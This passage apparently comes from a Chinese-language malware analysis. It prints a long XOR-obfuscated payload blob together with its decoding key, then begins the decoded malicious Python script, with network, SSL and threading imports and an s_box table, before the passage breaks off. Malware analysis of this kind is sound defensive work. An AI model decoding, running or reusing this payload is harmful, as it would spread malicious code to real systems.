VDQEPYJW@TT]UWO2BDFEFBTIWA|UH\FwJYKXDDVG|YZPhAFAFSUAB\GPW;>AFAF\S_BYRW9	TGZQT]RMFSDYTVRY\2BDFEFBX\DAAAHVGkFBDFEFG@ \^P
PQKlD QYQ\NDPF_
DZFDCWFF]TU>ULiJDPVN\TFP^USMT_Z _<BDFEFBR[[W^D^EVUVF\^FUA
PR2AFBDFEF]]RBBHGOZU@T]@W\S_ZG 
\\WYPNEMFxW\FXfHSZ_]<BAFA_	\f=YRW9oF]W>AFAFB	YW9: Y^SkjBR
YATLP9AFBDFEF_YP=n_UjnUA^Y[\hDFEFB XFgHRW
S]3BDFEFBAF\Z\lkSPifBYh\KQF^QC_U\Z\lk[
]ifK9<FEFBAFPIP[P[WJ[VJilWom>BAFA]BL
^\olBAFUP^TQmYBXJS_UJE E^ZDTYklAFBDCAHZAU[ZQVG^ D\xR^IF>BAFA^WUF
	QF^FPC@\E]HAQ[3BDFEFBAFCTQKV(}#JDVLcRF@PZBZBAYJG[PT C_VF]WGEY]EYL[AB]PPM9FEFBAFCPTHR@	[PLFRG>
U\DGWXLH\h;AFBD
8BAFAFD\D] 
V[[Q]TfZjF]TUWWxXkA@SXEEYkFAFBDSKPySMpC^F[lAFBDFEQ[EQ+~tF	GhYG\AXVDP\FFY\FP^AJVXSPZU _|WYPK;>AFAF\S_BElCQUSF]WA @]YVY^QHlBDFEF@f@C[QUZ[VZVFQFUV	PVQCD;AFBD]]RAY]9EPVSYTQM]ZI^F\TkREn] ZF]TUWWxXU	
^S[QhAFAFD\D]9@SU_TT;>AFAF\S_BSGl
UEQYR
Y_TU]kFBDFEFG@ \^P
PQKlD QYQ\NDPF_
DZFDCWFF]TU>ULiJDPVN\TFP^USMT_Z _<BDFEFBCQG_[W^D^EVUVF\^FUA
PR29AFBP^	\WiZTT]FFTY^^[G
]d\XVN<BAFJV@@BD[\W	SZFPUH	TUP\]UWMJ	YWF
 9^S[QhAFLWGUmPCW	WoFBR\^n[MU	AlBD
E^SkOA	ALEPYJAUO2BDFY^SYDZ
9[DX@FTiZ
XX@O_lBAFXScGUYF^YKBW@XFASXSLEPG
[VFQUSSmEXlDm	PB_>QlnehF	HF\Fk	9FEFBAFG]LFFDrY[BB\C <BAF\R@ [M@UGZ	D
DZEnFE^[K]A]EI
EV@D_Fk8BAFAFM@F_\D
MYDZ
9FXO]	"z3v}f1-lvFG Y^Sk\YTP\\gXLFP[mXAXI IMFETKSl]\BXiZWFlBAFnIkFBDFEUAF[[T	AP]SH\GKEXw]W4 B[SBP0TBDFT\YGUH8FBDFEFSZCZ^BFE^[K]hWHYWEn=U;:BAFAWLRX>QMXRDP[i@ZP]k@_^Kn>AFBDFE\]k[\	PlAFT C_V9@SLA_UFTQUV[Y]LU[F=Q^A[	nUUl29AFBP^	\WiN\;AFA]Z_L	YWF
 4UBYoXUDX9[PX]e	AHHPPiZ#\W]ZLsH@|~UWWAW9B_IKM<FEFBXRAZU@T]lZ _XVD_] 
ViYPPnW ]T2AFBDFE Y\RQGBw'[UPJ^[G
]iW	S 
V<BAFAATP=	SGR9SZSoXUDX9[PX]e	ATVR\nFEFBALBU]GU>BL^FV]M Y\RQGKAF2AF\S	 E@X$PXXEZ\\C^	YR
^V
I[[Q]Tkl\VRA^	YRfDZCMU^PPB_>Q^Q_QHlBD
Q^iW]_ZGA[ ?AFUQ
]l]F>BAFRX\gP[WF@nFEFA\\T@_^gVFYAFLYMiP[C>BAFZRAiYERBYA[_ZT]ROTB^QVTGA[ BXmGo[RhBFZjQ\noQo=EMFVWD8\:BAFFFJX@.YQ	@BSP@;AFAVLW_DMY]XBA[jCPKH\ZWDEC\CnhAFAFBDM
_SRBJ@_^gKZN\uq7*}l`/?#R\Tn]DSQTVAPCW	;XF^D_FSZCZ^=_DYALY@_>[EXlFM8BAF<OlBDFEF@SGE_BQA[BPT^DAuSJQVr4UFD]PTcQZ_F]WUSO2BDFEFU\@Z	APBEWV@Q:]EI
EV@D8= o<BAF[[AY9VCTIY9FEFB@T]j[PFZ
AFZ
XXhD	DSZkV
D__Dh;AFB[Wl
U	 PBQWRS\VWVUQ
]h^YiPTPiHHQTVW\VH8FBDFEF:B RX\gP[W\SAP^:_VS?BAFPTKVA@LCKDuR	TB[^PPAVC\HL>kF]_@N\TABZkEYL[ATTSf YD@[vSZGPK;AFZRABL^_YD_FV[ZQjPE\A[BPT^W@]XM= _AV	BK<BAFP]F]R^gFXX_RPE\:Vh\GOAHehDFEFB
FTWKD F\V
@V
HSGDFPEnPPRAWJJSP3BDFEFV[ZQjTEU
FW@FL_SlC8BATCR]Ll]m QZ\BY\@HDZ]FX]QI \]PgHR@	lBDWWBk[\T\FZBHYG\OPKSW	SU	oBW@]LCB@EZK@QO2BDF\WiVGFBQFN2AFBD[	GZZT@OPE]WKGZ _hDFEF@XBkYTGUULiP;PZ_IlBAFE]J^]AWXJ@^H	Q^REYTj\]GU^EM=	YWVO>KkIhAFC\USXDBRA o\WYPBXWGVPLg]UWF@JolEFBAF^]VJFRGKQASZTTG
SVMJAQF9\_KB\AKCFD]EJ^BEAFBDC^FiDTYA	FEYL[ PHWM
LY@X\[\W]jATLPAHHWKDJoFBAFB@[[VG\bK9FEFB VTFKgG]WDM	S@ D[[QEhDQ{D\eNDBZ^K
_QWXA\TYTj\]GU^EM=BZ^LO8BAFU\PTgBP	UE@GEXYNl^DVF~G)`AIFD[[Q^RU\\P^ZXm]BXE@:D[[QK;AFADK_CFU	oVS@T]BjB\B]>AFBDFG@VW@P=UTXPUgFWJ2BDFlBR
PBhikFBDZUF	DBUGTEkjW\T]	>AFBDFDZ[FLBRU\C^Q_Q>BL^BEVYWE?BAFAF^YKBXGAE^SZAXTG[lAFBDFE Y^SBJL>AFAFBD 
UiZTTiA[T[LJJS]<BDFEFBAFSXY]c]m QZ\E92U_R_EFH\Bj^Q_QIF]ZJDpR_ lBAFAJOhDFEFBAFR^gR\__@FXF_AGAE[HEPAPY[\N^_U;FRGIFU\BFLL_PYO;AFBDFEFX]Q:DETGUQ@G]KdBYHD
DSZB^R@I \]Pg\V@ [
KJ;[\WL=iHhAFAFBDF\WmTRTG9AXX]n\Q[\LBAUUlO\D}~DaAM	S_	\F_YPJWXX9QTAYQ_GOAgWM	SlEFBAFAFPPm^	VKi@\TiA[E\U]G@ L_TLjK@R*y[CfLZY
WUX_^VN\WiPPPXXHFEjULZYO2BDFEFBAF^Q_Q:QL\@9 
UmRQAX]GOAnFQBV>AFBDFEFBTIWAzk}AF@FYE^<FEFBAFABKE3BDFEFBAFW\T]@ B]X]J__VOEF:BYTjZJ\CWc_S@;E[T_XP;AFLRG
[mM]U	FDSE__G
SAYKX]U__BW@X=GQA]k\l\[ETKSl]olBD[iin@WXX9WCZOKVFCoF_SlQ
CWD>BAFCPLMAZAIFPPE	F\WEHh;AFQTSUEW
^EXlJAYAGTFE\VYG]\O<BDFE]BYFABBYAY;AFKYLSlCGZCRQASFWMAWiVe_DY@ n<BAFAW
KSCRHZ]_ZT]RO@CG]VGk[]UMO@	SW>BAFUPKLlD FEGZY]X\UQ\_TLQ\Z:;BE@Fl8BAF^]VJFRGK_[XF]WGCPVLlP@[BVWV^SB]Z;AF@\FTTS@	SWiDTYFEjHYG\H8lB SUNCWZRBEPG
9\UHR@	\2BDF@]D@YD@
?A QZ\=WG[FXF@SB\WD ]je	A]E\Dj9FEFBAFTYK][YBQLYZ]N\TW@CTZ9QXG][G[KJHWM
M<FEF]SB^BAYQKW] QZ\=WG[O_lBAFB]MLZXO@LD\LPZ_:QF^?BAFPTKVkFBDFE	CDQXGTYTjHYG\H8lB SU\^GPWFZjQ\]UWWM9FEF\A^FFFDWHJ\WA2BDF_QSGFBGECZ[]@GOb	HSWJY^^AFX\kFAFBDFEDVYAA_BDVZRPKKd(b#3BDFEFBAFFL\VFMTIUV@K6ybs?BAFAFBDUDW[\TW@CTZ9QXG][G[KO2BDFT]C@BBEPGHA[WKZ	[F]DW?BAFZML	AA\SKD_UU@DPBTQ^@L2AFBFAE	EFPP^UQIO?;PTFKZ\@V
JFWG^=XUAPRZV\@AXLB\Y\oFBBQ PR]VGk]^_^9Fe_VDm\EGZ_QK9AFBPYU@B kFAFE\RToQYZSVj+AEPJn\VBBGVLl:TW	VZFKVXFLWJ	;_WFD[YZBA^FO;AFQ[IB@	UFF]TWJ@@]MV>AFBDPA\EX@SUQ_VE^GLg\W\BZE&	E\B>BAFWGWUG@[B	F\AEQQ]_AU?AlBD+$>of~fp#ub\F2AF{7"ezi#E[  hAFlq~q.g2gev!/sg[ES:B.3avzqvtk(|2}d#'sFGD:8BA0pcQ=JV3BDFEF}mx{t7ey\FWi@kFBD~l(*2qdw}y#s}qA[Sd@URF8FBDp+!9s}xzp!e	AmM	>AFBDwgj6:/`dBShV?AFwm;4iw|+$/~|wypBVF:M29AFB7ypx5:5|wsdj+eq30t}P8FBDb3 3umb}x-de\F;?AFR\DEV]6	SYEdTZT@IPCC]Jl]F\WMHVK9FSZAPK;AFA]Z_LYPX:	EFD@JCPCC]Jl]\E\SAlJ8BAFCVLWXDTR@SRP  PR^PNQPAYPQ	\SKHVQMEnB 
@TE9AFBDlEFBUTRAGTTL]lGQ]BK^<FEFBEF\?AFBD@	GZZT@OZR^]LGQ]B#"iz}#1JAYW^Eg.%~nfljvu,lBDFEF^R_OPEAQUV[FNlt'+cgl5*%{wb?BAFQQHBBSGFFtW]YU@FVCPYLV]SSMXDMNH	B_W@ECG2AFBDAV^E[V	;;AFWQWXWBlG	:CFPFnPPQKLlD@3BDFEFFRZ\FVCPYLVk]SSMJM<FEFBXRA)`erwq}s>{(lsk$%uv	lEFBAFLJJkFBDFEFBB[BPLK\W
]LJ]VGH6)|me{v)teAZR^]Lg.m$qx}6+rve/&#yaa%~xz&9|a}juu"wH]XZ SOoFBAF]KWBf\	_@@
u@D[GBPBGJ]GA\F<BDFEF@G;AFAFUX
^WU@JUB@>QUGWGmWDMKM<FEFBAFGTAMJ]]S<BDFEFQMTA@AZR^]LQ@	JXDSAA\EUFCF[B;>AFPTFJSHEGl	U\BXVkFAFBK^<FEFBAFXTFKYTQAFZWJRQPQUQYPPJ\BS:DQPAYnkFBDFEFG =CTEFE^QA_SbX&cu`/?#m8BAF]@PQF\2BDFEFBCT@[sYT@QkFBDFEVG =CTEFEniA[`|0DYAP9BWGAPEj[Thpy%m%wxw''b\EmDQDTB@:Th:@	EM9FEFBAFCPLMAZAtTE\hDFEFWGT9GTDM]@@:\k_Yrg?59yb` hAFAFRJ;WWWE[AYW^E]An[LWR9JSHEGhR_Ko>BAFAKBfDG[E^BWW^J|FJB gJVEWLmXS]P9BWGAPEiH=l?AFBDS_Z EmDQDTB@:Uh f?hi}-)wz}($+u<BAFAAgRV_]lUFWnCQPBAcn>AFBDFEFRGA=PUPFFgAQGKBbW^MEJmR[XX_kXT_QiKCV@L;:BAFD@gBV=XCRFEjT@AAj GmW[X
i]R \\WXFWnCQPBAe9AFBDFEFVE@j^C@A[D[HYP_IXpBYAG9	oGXDTZoQ;?AFEV	FDGDZ$P]GlAFKCA]FMCFiUQCAnEWJGk8FBDWFS@SUAnR[PRAQW]A3BDFEFQE	AP@@]KGk^]XMJ	ETlEFBAPAQ=JV3BDFEFWU	AmMJjARTFAlJBVF:M:@	EDQA9 >BAFZRAVLhDFEFB	VZPLgWG[UV
SPG9	oVE@BEoQ;QKLh<lBDFEF[P[EP^GK\W
WgRJDV_FBWFBShV?AFBDS_@_lBAFAQ[T>lEFBAFZVW\WURZ]9QFYZ^R_jUFLTQA	[]W	S=U;8BAF\BWPXNGXxFRZQ9QBA_V@]SXXhW8O:BAFG]H_MAFnskBOAVEMPhMRJFtelhgzd7F[ <FEFBEF\BPV\`[YhWZ	B^=ASFCCn]DhJ]CXFUE^9FSKZG;BAF>AFBDF SWF@BCT@[;AFBPAFV>IF\CPLMAZAA	[]\;R@GloFBUQFRTAgJFZ[_iJ]@lUSRX;AFA@LCKDmGF	BB\E\TU\V_QG]DXFAYW^EVY^QAS\WGR9YV][BEZ Ph22AFPRTNCWDBPnXPMFF^VS]GkA3BDFEFB
X]QA2GDP2AFBDFEFYT@TZn]F[^AQ]:FK]b@W@X9oRZEUX[KVXYER
Q@n\EUFCF[hAFAFSUhGTYFPB_A[F]TUSS_WZUFCYmABZkl@ Ag_]??nhD_BFQQ@lADGV2AFBDFEFYTGPGTF>Q[WL]]Z_LYPX:	@WX^HBH\CPLMAZkFBDFEF@GFQTGlAmFJSPGH\WU@9B^W
AnQKLnAi;b?HlEFBAF]@PQFFKSUBV	BWGCCAPE@JV9>AFBDFEF_R^ETUPJW\QXLnFEFBAGH2AFBDFEFRZB[X[JVUW<BDFEFBAF\R@ [EVAVNrgpg|8t>AFAFBDFEF[P[EP T?AFBDFEFBAP_QkWP_b[]\LEVA o[R A2GDP2AFBDFEFBAFBZ[SV@>VLZEVOoFBAFAFBDAV^8BAFAFBDEV]6	SYEdTZT@IPCC]Jl]F\WMHuR
8BAFJ]FMB!NPV_\UFBTFB?AFBDF]WGYTA2)vzfgkq$b9qxm'6`rOolBP \Y@QDJiPH@\DmRGAK;AFAP_UDbAF_lBAFZRAFK]f ]\E^m@TZjFZjQ\iAT	JM]ZEU^PABZ]FlJV@@2BDFEFBT]]FnETKSR@FLWJ	D_] 
VBUF	X_SF\WLY@_:YER=RnFX[FWG^=XUi:VhjKL\DWkBSGFFBAF2AFBDFEFYTGPGTF>Q[WL]]Z_LYPX:	@WX^HBH\?AFBDFEFC]U_PnUGHV]ZK]kFBDFEFBCQG_?AFBDFI<BAFAFPDX\GF\TGZZBkP_nK]AB@9QRdL[CGMO
8BAFAFBDE\P oVE@T_PITBPVW]UV@V
HC]U_F=^AQ=FTGN]AkV;Q\LBZ^
Dgap7tn`(+zda>AFBDFEFSLVAEATBF2AFBDFEY_SFTTDI5zr~kg`x$w6gw6!der*Ll:B9F^VSK	AULiK
XZ]:_Q]GjYCQ ?2AFPDWPG
EPFD;AFBP_NDmE[V	B_FJ]GA\Fm?De|p-6F`@YLLBP]FQHJM]Z\3BDFEFF]W[UaYKX{FMBl WGVNCYi]QNoK;bz{s`1@	@OWAGH<BAFO[]WFlDL^<FEFBAF\WcLRG
 WDEXFCWZRPB_RBQ^@ AcM]lZG;ABZkhjecG]HS]@99FEFBAFAQGV9Nk`)&-cfFZHG	EAP\>AFBDFEF_R^EYWKWP_mV\BJO_lBAFAYURiY@	FEQYB[Fn\VTQQ[\Bb3 3umb}x-dekFAFBDF BWW^En^	[?AFBDFEFBBTFGn\\SSSM=E\]=GU@@QG=XU<lAFBDFEF]SBBTFGn\\ZZAATPUX@9
U\_PB[lAFBDFEFBXRATR^]Ll^]c]Wn\ElBAFAFBDFEFCWZR^R_9ZAPVc@QDJiP9CFMQQ]QA=[B[=UTLYiH8FBDFEFBAFVXTFHWZ	BlY
kSL\lkFAFBDFEFBAP]SK\W
A9WF\JF\CNBDSFjU>AFAFBDFEFWZGPX;AFAFBDFEF]SB_^@ATR^]Ll^]c\Bn\EF<BAFAFBDFEF]SBPR@PrZMVGHX{x:;b{a#$"c<BAFAFBDFEFBBXE2AFBDFEFBAFAWXM
CV9FEFBAFAFBD 
VE[V	Bn[[jF]JEQm\k_DGFV HaGSAPJ;AFAFBDFEFBG^[AQ FgUV
SPG
BWW^En^	[?AFBDFEFBAFQ^GQ<BDFEFBAFAFBD@V9DZDQT5GTT\GUULXP	REQGTCkFW[XAJXXRT\KOSC\UNFTGN]AkVO<BDFEFBAFAFBDAV9DZDQT5GTT\GUULTPREQGTCkFW[XAJXX^T\KOSC\UNFTGN]AkVO<BDFEFBAFAFBD@V9DZDQTB@ A2AFBDFEFBAFA@[@fDVRKDSD@K;AFAFM	S@
 @e{v)bng-#pajqvgq3d't3BDFEFU^EQhAFTFTSWJi@\X;AFAF_Gl
[_ZnB[F?AFBDFEFBUF	:TB^^\FAFK]
@V
HDSE_\VB ETKShSSiPFk[EoAYW^L_PYHFAYQL[Ocd??n9FEFBAF@ AcJFCVG;@TZj	XAY]LVPCoFmS9FEFBAFBPT^GQKiVXF:8BUTRA[]ZY\G^ M]lZIFS][YTUkFW
YBML[VWU[XP_PHlAQ\iUBF>SU@\_ADGTXWNVMD[[]@^P\^VKi?BAFG]KC[AKB?M[m_PXEUjXQAWgYLCG\EDe\Z[TTU	X\TV\	ODPV	WG
]SXPNWXP[\KAQ\iUBD	]BZQAUA2GDPEn>AFBD[V@UNBPWZ_DAgD\Y]@GJDQF^_GJ]@D\]EnFEFDQF^_G9QPAYW
^IB~VWWwZQ0TEFCTg]KC[A[\WTVOolQWA
ZPQgU\P^E\Go[R^UAj_TU]kFBDZUF	TGZQjP\QA[F]TU>_LWfU[V\oFBAFSX[\]A\]Z_L;[VG:QQ^Q^A	QDY]g]UWO2BDFEFEMFL\T@ 9EPAPAQ]]_
RVAOoFBAFFTY^^[G
]d\C\M_VCXP=_PYO?AFBFAEDKOYZD]QA[]ZY\VPC WDT^\
UmXUX;AFVXW\D\D]D\Y@^DZF\_TWRPVFUY]S@H	B_W@^UAj_TU]>kF]FC

TEQY@ ^n\\R^K	YGV9DZ?BAFAWLRX>QMXRDlEFBRYAj_@UQ8FBDD]FQ[JCTYPnEYL[AZBEU\oFBAFBY\T]ZV]f[F	DSZkV
D__O;AFBDFkFWG^BW^FATB^Q]W
^M]Z]FYT@TZjFZjQ\iA[BXiZW;>VmiGAAAQDh?AFBDFEFDQAC_C,ZSKL\DW3hDFEFBAPHkFBDFEFBU\^[]LiKF\] D8BAFAFKF\] o?BAFAFBDoFBAFAFBDF		QV;AFAFBDFEFBW	[ZjKQIQCF{~l,/i`z< J:BAFAFBDFEFP]YnXPC\W\T]kFBDFEFBAFAPCW	;XF^D_FSZCZ^=_DYMlAFBDFEFBAFW@TTlD F[\G:QF^>BAFAFBDFEFM<BAFAFBDFEDDSE_jUATB^gQW>AFBDFEFBA?AFBDFEFm<BAFAOlBDFEFTBDFT@QTHHYJ)S@@q\RfPCXQgTFHW]GYBXKnFEFBA]D[SWHYWmA_\EQF@lj<lAFBDP[o\CY_ ;AFAFBR_9E\]G_R\^jLWGUmPCW	n9FEFBAFSOA]WNZWJRQPQUQYPPJRYAnVPM]_>VLW?M99FEFVSRPEW	9QXGKVXFLWJ	;_WFDZFR^Z?AF_TDGX^_V?BAF^VWDZ>TTSJBYHNlEFBUTRA\WS~W_P@N^_U;FRGIF@@_ZA=^D@\2GDP9AFBD 
@Y[ANU]SQTVGA[YJLW_XN\WiDTYkFAFBDP\AFB_ZXCG[lAFBDFE E^ZkQCnD ]W@SPSXA	
R]GK;AFAFBDZUF\^iP\nAU_ZLZZAYWAW=__VKUKEX;AFAFBDFEVFF\En[F]TUW\bXyFGeBRUAEUjXQoKoFvSNB _AV	BKNRXPA^FXmQDfB[oLlBAFAF	
YD]9\WEoS]]kGnEYL[iAF3hDFEFB	GSQTV\F^_U9FEFBAFUA^9^_U;FRGE[]EEEY	\_JW\@M QZ\KnFEFBAF^Q_Q>ABS_DlEFBAF@3BDFEFBAFD]ZFWF\LPF_
: Y^SkEEYADGSRGA[gPhDFEFBAFAF^_U;RRGE[[XkSLCTUN;AFBDFEFBYTjKQIQAFTSWJ__V9DS>BAFAFUVC_FS]X@\DT>kFAFBDFCZ	
PB\WX\R^gRX[YUSGAJ;>AFAFBDFVGZXjX]Q>TE]V\@A[]WXlU	C]QL Q]YK[]_WBX\D: Y^SGP]A2AFBDFEFBXRAGX[Lg\AFKSUJEV]1CYyAADEaTEPLRG
m\@?n( t_XPXJIAKJHZJ@AFMDKFU\DPAYnW]jATLP[
]iJSX>BAFAFBDX
^mP]YBjR
YnSQTVkSPk_D^R@oFBAFAW
QPZ_l 
UmFUA
XZA[^BVgU]W]\ZWG]B_^@A[^VWDZ>TTSJLW_FN<BAFAFBDZUFY\BkZEYWK]]P5SSyLCGfDW@TZn]Jner^cIBVW\EMNSMFCEOT	J[XLPF_
: Y^SkEEYA \]PgKZNFPWJ
M9FEFBAFAVYN;PZ_=VGZXjX]Q>TE]e	SP<BDFEFBAFP]\^UA^9^_U;FRGE_F][BZ_[jW\T]@
WKBXWX_Z	_^C9SXY]KB ^]EK^<FEFBAFA]QQfZV[E=VP[GBW\A[^VWDZ>TTSJLBV^MO[P]B	FYhcn>AFBDFEFBASZKCUZH]NPE\KQF^_X_YTjHYG\M	J_^=__VOL\:BAFAFBDF@@_ZA=^D@[FFTY^@QV2YER-BCF0TSBQPB_>QciAq	H_\DpZ__FKO
NSLL]@IID^RM	B[QkS]TA @]Yg^ZXmYBQNDPZ_:YHS
PB\HO?AFBDFEFPBTkFAFBDFEFBXW\_AgWF@[]Z_LS]W2[}C@EEdDATLY@_>[9Nk~	Tp]YOKJHOAB\DHNOGHV]DYT^FjW\T]G
Ti_SlCP]YnB]]YK[H8FBDFEFBAFXZEgPPEC	N_@_SjX]QHlAFBDFE^]AZjX]Q=SDYTgU]W9HWM
9X8BAF^WA[
]PDZZ@M^]AZjX]QO;AFBDF^]BZAUXF\QAAHHWM
JRZAUP]YkFAFBDF	BRQY=WXXF\_c^R@F^PDZZ@M^]AZjX]QOXS^GSLEN^\KQF^QC_UW\T]<lBDFEFBAFZZRl@B@ _AV	BK\_[F^_ZOVlR^Km]iUZ
 ;WZGPBw];AFBDFEFWR
P\V_]FNSXV
iUZ
 <BAFAFBDFEVFF\En[F]TUW\bXyFGeBRUAEUjXQoKoFCKZVG\IKNRXPAWQ^>FHSB8<FEFBAFAFBDWV
: Y^S@JIHDWZJUR@IYWAW=__V>U^iR\TlAS^VWDZ>TTSJ9 S_l 
UoQYTCO;AFBDFEFB
ZF[g^ZXAHHYIJ__VOoFBAF]_GlBDFEFB ^FHR@	YE\[V 
UZZXZA	FYQKGP@NWEB[^S[QX]QHO;AFBDFEFS[kETp@[BVZ E_F_[F_kYTFc^ZXoF]ZJDuZ
 D:BAFAFBPCDmYAAXBQ BPV\gUY)MBIcCWFWG^=XUADnhCNW
]B\^HNFP[GPE_nAAHVATTSB8<FEFBAFAFJKH	B_W@	_^C9SXY]KhR^eX]	oT_XPjW]hPTKVCO<BDFEFBAFS][\9^_UC\M Y^S?BkFTFHWM
DDKD
P]YnAUK]_ROQJD\iWZ D]DM?BAFPTKVATTSfB[[EQF^\AUnhAHKSIB8<FEFBAFP]F]\GOBL^_] 
VUAGT_@>\CP[L\FYBQKn<FEF]SB_^@A	FEYL[AQDZVlX>BAFAQGV9Ekc_CGABST FCPYQ\P@[BV9FEFPXW	AZKRWWK_SlCYG0n~H\?AFBFAEDkkeEY	AT[[VG[TShDFEFWZGPX;AFAATPXWgGBD@dAP PAYKXkVJbH9`GY\QQCTW	GHOYGW	 WDU	QFDTYkFAFRPp\_ T_XP=AP@	JwTTKVA8FBDFEFGZ_XPJeCAO;AFBDFkFWG^BW^FATB^Q]W
^M]Z]FYT@TZjFZjQ\iA[BXiZW;>VmiGAAAQDhJ]GA\F|V DEG\T>BAFA^W\@HDZQMBEGI \]PgHR@	\2BDFEFBAPE@JV:;dVWZ D]DM
PBP_\]_QW3BDFEFBP SwZT\VFITTSfB[lEFBAFLQ^QOA
]SIJSP\8<>?BSjgQ]]m9E\	9FEFT]ROZR^Kg\D\FBnFEFEQYB[Fn\VGMS3SFVNLlBG
SFW[XG>]LBCVFK7EWCQK;AFKVXYER
Q@[E=m8BAP]Sg^QS9[WZ
lBG
SXW\FX`HY_DMN9FEFT]RO@CG]VGk[]UMOF
US@VUkFW
^XXGl
V[QBJ;AFADkSKD	FGDFFGMXZT]YHJDVEMZVAH	]>BAFd@@P JoFBAFaZKLff(\BRJoFBAFaTAT\Ug3qrXDPWU WPSU	YPLV^ URPD8BAFmf}%\NnFEFByQ PCFoY[\@^f sQQ[CPHaWw^
BFGQ^CQXy\]YYQNo_WA@(1F6CXPAD\	RM_Z FwWU_Z@FEZU	'S
KSD?H<FEFBgPAM8FBDFEFx_@ACAT?AFBDxZ
	"QFSBST 	M8FBDFEFWXWj	TH[FNCYTFQCFW\VlS_Rk
Lgx0,hUR	7lP{5**vD@v@D.^^R{I7KvNA*UEJEDTWUk^HADa}d	rcW
Y5bUq1+zuERI]uGDA*Z^%O	cAP}LzWKH<FEFBq]r]S	CfD<BDFEFrEdf(DQ]PJD<BDFEFrEaUXBM8FBDFEFbD[My^GD9AFBDD5_JOaFCAD?AFBDcA	`SEGXMlAF2YKJ6
D@;AFN>kFBDD[	fDAPK;AFA^JPR DmU[[XVoC3`xqe	\DhDFEFBYW[PVW
{3BDFEFBG
ST_]]@2^]FKnFEFBT]G\?AFBDD
UbF@>AFAFBDFCWZRPBG~XYT\R@O<BDFEFBAFKVX@_MJM<FEFBAFLAM[8FBDFEFBAFBPT^SF2YER
Q@OoFBAFAFJPC
UAE`TZXZ?AFBDFEFBBTXHE^FLjVG]KSJJM<FEFBAF]KWBIE9FEFBAF@QTHYQ\e_VNBAFAl2__B;i]R 9o	@nnY [nj9AFUS]WFTGEUK'), itertools.cycle(b'869bd633fef02645b114af5158834a2f'))).encode())

解密可得到恶意python代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
import os, random, sys, json, socket, base64, time, platform, ssl
import urllib.request
from datetime import datetime
import threading, queue

CHUNK_SIZE = 51200

s_box = (
